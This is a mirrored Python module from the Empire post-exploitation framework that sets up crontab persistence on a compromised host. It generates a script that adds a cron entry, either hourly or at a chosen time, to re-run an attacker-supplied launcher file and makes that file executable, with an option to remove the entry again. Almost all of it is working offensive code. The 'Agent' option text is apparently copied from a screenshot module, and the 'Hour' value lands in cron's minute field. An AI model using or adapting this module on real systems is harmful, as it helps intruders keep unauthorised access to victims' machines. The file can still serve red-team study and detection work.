mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
HarmJ0y
122 lines
4.4 KiB
Python
122 lines
4.4 KiB
Python
class Module:
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def __init__(self, mainMenu, params=[]):
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# metadata info about the module, not modified during runtime
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self.info = {
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# name for the module that will appear in module menus
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'Name': 'Persistence with crontab',
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# list of one or more authors for the module
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'Author': ['@424f424f'],
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# more verbose multi-line description of the module
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'Description': 'This module establishes persistence via crontab',
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# True if the module needs to run in the background
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'Background' : False,
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# File extension to save the file as
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'OutputExtension' : "",
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# if the module needs administrative privileges
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'NeedsAdmin' : False,
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# True if the method doesn't touch disk/is reasonably opsec safe
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'OpsecSafe' : False,
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# the module language
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'Language' : 'python',
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# the minimum language version needed
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'MinLanguageVersion' : '2.6',
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# list of any references/other comments
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'Comments': ['']
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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# The 'Agent' option is the only one that MUST be in a module
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'Description' : 'Agent to grab a screenshot from.',
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'Required' : True,
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'Value' : ''
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},
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'Remove' : {
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'Description' : 'Remove Persistence. True/False',
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'Required' : False,
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'Value' : ''
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},
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'Hourly' : {
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'Description' : 'Hourly persistence.',
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'Required' : False,
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'Value' : ''
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},
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'Hour' : {
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'Description' : 'Hour to callback. 24hr format.',
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'Required' : False,
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'Value' : ''
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},
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'FileName' : {
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'Description' : 'File name for the launcher.',
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'Required' : True,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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# During instantiation, any settable option parameters
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# are passed as an object set to the module and the
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# options dictionary is automatically set. This is mostly
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# in case options are passed on the command line
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if params:
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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Remove = self.options['Remove']['Value']
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Hourly = self.options['Hourly']['Value']
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Hour = self.options['Hour']['Value']
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FileName = self.options['FileName']['Value']
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script = """
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import subprocess
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import sys
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Remove = "%s"
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Hourly = "%s"
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Hour = "%s"
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if Remove == "True":
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cmd = 'crontab -l | grep -v "%s" | crontab -'
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print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()
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print subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read()
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print "Finished"
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else:
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if Hourly == "True":
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cmd = 'crontab -l | { cat; echo "0 * * * * %s"; } | crontab -'
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print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()
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print subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read()
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print subprocess.Popen('chmod +x %s', shell=True, stdout=subprocess.PIPE).stdout.read()
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print "Finished"
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elif Hour:
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cmd = 'crontab -l | { cat; echo "%s * * * * %s"; } | crontab -'
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print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()
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print subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read()
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print subprocess.Popen('chmod +x %s', shell=True, stdout=subprocess.PIPE).stdout.read()
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print "Finished"
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""" % (Remove, Hourly, Hour, FileName, FileName, FileName, Hour, FileName, FileName)
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return script
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